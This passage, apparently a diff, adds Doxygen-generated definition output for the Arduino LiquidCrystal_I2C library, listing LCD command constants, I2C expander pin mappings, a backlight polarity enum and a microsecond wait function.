define-mem-kind = 'define'; + define-mem-id = '_l_c_d_8h_1adfb8b2b8b8a08d7313504d7a4f89d99f'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'LCD_DISPLAYCONTROL'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +0x08 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + define-mem-desc-line = '95'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_l_c_d_8h_1ab2f7b67abfac33f610acfd5d7a971f40'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'LCD_DISPLAYMOVE'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +0x08 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + define-mem-desc-line = '119'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_l_c_d_8h_1a257ebe775cac7140cf82aa40d8ce545a'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'LCD_DISPLAYOFF'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +0x00 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + define-mem-desc-line = '111'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_l_c_d_8h_1a76236ae8317b34bbc98ea56bc0a2639c'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'LCD_DISPLAYON'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +0x04 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + define-mem-desc-line = '110'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_l_c_d_8h_1ae7c6309fce6200bd7526d090a4a84dd0'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'LCD_ENTRYLEFT'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +0x02 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + define-mem-desc-line = '104'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_l_c_d_8h_1a5597e1d5819ea2f0734ad4313abf6703'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'LCD_ENTRYMODESET'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +0x04 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + define-mem-desc-line = '94'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_l_c_d_8h_1a43c26ba2e66880fac95ef640b56873ad'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'LCD_ENTRYRIGHT'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +0x00 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + define-mem-desc-line = '103'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_l_c_d_8h_1a049ee97e98d04788c1da9a55590fbe42'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'LCD_ENTRYSHIFTDECREMENT'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +0x00 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + define-mem-desc-line = '106'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_l_c_d_8h_1aa2cf1d0f4a319e53c009cffe1184466c'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'LCD_ENTRYSHIFTINCREMENT'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +0x01 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + define-mem-desc-line = '105'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_l_c_d_8h_1aaef882ae70d1f485cd132815d9716111'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'LCD_FUNCTIONSET'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +0x20 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + define-mem-desc-line = '97'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_l_c_d_8h_1aafb86adb0dfca1e65d65b2cd1946a009'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'LCD_MOVELEFT'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +0x00 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + define-mem-desc-line = '122'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_l_c_d_8h_1acf5999180233790bb2c9902efde58f7f'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'LCD_MOVERIGHT'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +0x04 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + define-mem-desc-line = '121'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_l_c_d_8h_1a154c86a887633d0f6d9988e4dbb1f419'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'LCD_RETURNHOME'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +0x02 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + define-mem-desc-line = '93'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_l_c_d_8h_1aae6ea856879c11dee58493184582a52f'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'LCD_SETCGRAMADDR'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +0x40 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + define-mem-desc-line = '98'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_l_c_d_8h_1a15008b832807a208d9d88c74e6751ebf'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'LCD_SETDDRAMADDR'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +0x80 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + define-mem-desc-line = '99'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + }; + enum = { + enum-member = { + enum-mem-kind = 'enum'; + enum-mem-id = '_l_c_d_8h_1aeeef728bf4726268aa5e99391a1502bc'; + enum-mem-virt = normal; + enum-mem-prot = public; + enum-mem-name = 't_backlighPol'; + enum-mem-enum = { enum-name = POSITIVE; }; + enum-mem-enum = { enum-name = NEGATIVE; }; + enum-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + enum-mem-desc-line = '171'; + enum-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + enum-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* enum-member */ + }; + func = { + func-member = { + func-mem-kind = 'function'; + func-mem-id = '_l_c_d_8h_1a6eac41e4be58d7736ac0c19de225c0dc'; + func-mem-virt = normal; + func-mem-prot = public; + func-mem-type = <<_EnD_oF_dEf_TeXt_ +static void +_EnD_oF_dEf_TeXt_; + func-mem-name = 'waitUsec'; + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint16_t +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'uSec'; + }; /* func-mem-param--param */ + func-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + func-mem-desc-line = '76'; + func-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + func-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @defined + @abstract Enables disables fast waits for write operations for LCD + @discussion If defined, the library will avoid doing un-necessary waits. + this can be done, because the time taken by Arduino's slow digitalWrite + operations. If fast digitalIO operations, comment this line out or undefine + the mode. + + + @function + @abstract waits for a given time in microseconds (compilation dependent). + @discussion Waits for a given time defined in microseconds depending on + the FAST_MODE define. If the FAST_MODE is defined the call will return + inmediatelly. + @param uSec[in] time in microseconds. + @result None +_EnD_oF_dEf_TeXt_; + }; /* func-member */ + }; + file-full-name = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + file-first-line = '1'; + file-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + file-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; +}; /* file */ +file = { + file-id = '_liquid_crystal_8cpp'; + file-name = 'LiquidCrystal.cpp'; + define = { + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_liquid_crystal_8cpp_1a31e1c14e8c2845dec3301f0ebd36b43c'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'LCD_4BIT'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +1 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal.cpp'; + define-mem-desc-line = '45'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_liquid_crystal_8cpp_1a57d84af8cf61ceee4eb91db77889f071'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'LCD_8BIT'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +0 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal.cpp'; + define-mem-desc-line = '46'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_liquid_crystal_8cpp_1a65fa786d6e31fe8b1aa51784a9736581'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'LCD_NOBACKLIGHT'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +0xFF +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal.cpp'; + define-mem-desc-line = '42'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + }; + file-full-name = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal.cpp'; + file-first-line = '1'; + file-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + file-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; +}; /* file */ +file = { + file-id = '_liquid_crystal_8h'; + file-name = 'LiquidCrystal.h'; + define = { + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_liquid_crystal_8h_1adebff0f00a59c9f9863bc196938d5726'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'EXEC_TIME'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +37 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal.h'; + define-mem-desc-line = '42'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @defined + @abstract Command execution time on the LCD. + @discussion This defines how long a command takes to execute by the LCD. + The time is expressed in micro-seconds. +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + }; + file-full-name = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal.h'; + file-first-line = '1'; + file-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + file-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; +}; /* file */ +file = { + file-id = '_liquid_crystal___i2_c_8cpp'; + file-name = 'LiquidCrystal_I2C.cpp'; + define = { + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_liquid_crystal___i2_c_8cpp_1a3d9bb178282c3cb69740c94ba1e48fed'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'D4'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +0 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.cpp'; + define-mem-desc-line = '88'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @defined + @abstract LCD dataline allocation this library only supports 4 bit LCD control + mode. + @discussion D4, D5, D6, D7 LCD data lines pin mapping of the extender module +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_liquid_crystal___i2_c_8cpp_1a2ddd4183d444d6d128cbdbd6269e4e0c'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'D5'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +1 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.cpp'; + define-mem-desc-line = '89'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_liquid_crystal___i2_c_8cpp_1a79a18a7f5ccf7a7ca31f302bd62527a6'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'D6'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +2 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.cpp'; + define-mem-desc-line = '90'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_liquid_crystal___i2_c_8cpp_1a2ba78f059a7ebebc95e7beef690e88d6'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'D7'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +3 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.cpp'; + define-mem-desc-line = '91'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_liquid_crystal___i2_c_8cpp_1a22e6626f2c98ed902f8ded47f6438c05'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'EN'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +6 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.cpp'; + define-mem-desc-line = '66'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @defined + @abstract Enable bit of the LCD + @discussion Defines the IO of the expander connected to the LCD Enable +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_liquid_crystal___i2_c_8cpp_1ac059d24dfe9c1e1f7c07cb7869a1833b'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'LCD_BACKLIGHT'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +0xFF +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.cpp'; + define-mem-desc-line = '55'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @defined + @abstract LCD_BACKLIGHT + @discussion BACKLIGHT MASK used when backlight is on +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_liquid_crystal___i2_c_8cpp_1a65fa786d6e31fe8b1aa51784a9736581'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'LCD_NOBACKLIGHT'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +0x00 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.cpp'; + define-mem-desc-line = '48'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @defined + @abstract LCD_NOBACKLIGHT + @discussion NO BACKLIGHT MASK +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_liquid_crystal___i2_c_8cpp_1af8903d8eea3868940c60af887473b152'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'RS'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +4 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.cpp'; + define-mem-desc-line = '80'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @defined + @abstract Register bit of the LCD + @discussion Defines the IO of the expander connected to the LCD Register select pin +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_liquid_crystal___i2_c_8cpp_1afc4ded33ac0ca43defcce639e965748a'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'RW'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +5 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.cpp'; + define-mem-desc-line = '73'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @defined + @abstract Read/Write bit of the LCD + @discussion Defines the IO of the expander connected to the LCD Rw pin +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + }; + file-full-name = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.cpp'; + file-first-line = '1'; + file-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + file-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; +}; /* file */ +file = { + file-id = '_liquid_crystal___i2_c_8h'; + file-name = 'LiquidCrystal_I2C.h'; + file-full-name = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.h'; + file-first-line = '1'; + file-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + file-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; +}; /* file */ +file = { + file-id = '_liquid_crystal___i2_c___by_vac_8cpp'; + file-name = 'LiquidCrystal_I2C_ByVac.cpp'; + file-full-name = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C_ByVac.cpp'; + file-first-line = '1'; + file-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + file-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; +}; /* file */ +file = { + file-id = '_liquid_crystal___i2_c___by_vac_8h'; + file-name = 'LiquidCrystal_I2C_ByVac.h'; + file-full-name = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C_ByVac.h'; + file-first-line = '1'; + file-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + file-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; +}; /* file */ +file = { + file-id = '_liquid_crystal___s_r_8cpp'; + file-name = 'LiquidCrystal_SR.cpp'; + file-full-name = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR.cpp'; + file-first-line = '1'; + file-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + file-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; +}; /* file */ +file = { + file-id = '_liquid_crystal___s_r_8h'; + file-name = 'LiquidCrystal_SR.h'; + define = { + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_liquid_crystal___s_r_8h_1a0075b041d82abb47f279dce482e7b087'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'SR_EN_BIT'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +0x80 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR.h'; + define-mem-desc-line = '92'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_liquid_crystal___s_r_8h_1afdaa2bbb2cc185700864ac8d7a570ced'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'SR_RS_BIT'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +0x04 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR.h'; + define-mem-desc-line = '91'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_liquid_crystal___s_r_8h_1a40fb1f76bc5f8ca9e6534b47bd6da27c'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'TWO_WIRE'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +204 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR.h'; + define-mem-desc-line = '90'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + }; + file-full-name = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR.h'; + file-first-line = '1'; + file-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + file-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; +}; /* file */ +file = { + file-id = '_liquid_crystal___s_r1_w_8cpp'; + file-name = 'LiquidCrystal_SR1W.cpp'; + file-full-name = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR1W.cpp'; + file-first-line = '1'; + file-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + file-documentation = <<_EnD_oF_dEf_TeXt_ + 